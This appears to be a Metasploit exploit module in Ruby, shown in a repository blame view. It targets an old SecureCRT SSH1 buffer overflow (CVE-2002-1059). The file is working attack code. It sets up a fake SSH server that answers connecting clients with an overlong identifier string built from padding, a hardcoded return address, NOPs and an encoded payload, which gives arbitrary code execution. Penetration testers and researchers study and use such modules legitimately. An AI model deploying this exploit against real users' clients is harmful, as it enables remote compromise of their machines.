metasploit-framework/modules/exploits/windows/ssh/securecrt_ssh1.rb

71 lines
1.9 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = AverageRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::TcpServer
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
2014-03-11 17:44:34 +00:00
'Name' => 'SecureCRT SSH1 Buffer Overflow',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a buffer overflow in SecureCRT <= 4.0
Beta 2. By sending a vulnerable client an overly long
SSH1 protocol identifier string, it is possible to execute
arbitrary code.
2013-08-30 21:28:54 +00:00
This module has only been tested on SecureCRT 3.4.4.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2002-1059' ],
[ 'OSVDB', '4991' ],
[ 'BID', '5287' ],
2013-08-30 21:28:54 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Jul 23 2002',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
], self.class)
end
2013-08-30 21:28:54 +00:00
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
2013-08-30 21:28:54 +00:00
buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded
2013-08-30 21:28:54 +00:00
print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
2013-08-30 21:28:54 +00:00
client.put(buffer)
handler
2013-08-30 21:28:54 +00:00
service.close_client(client)
end
end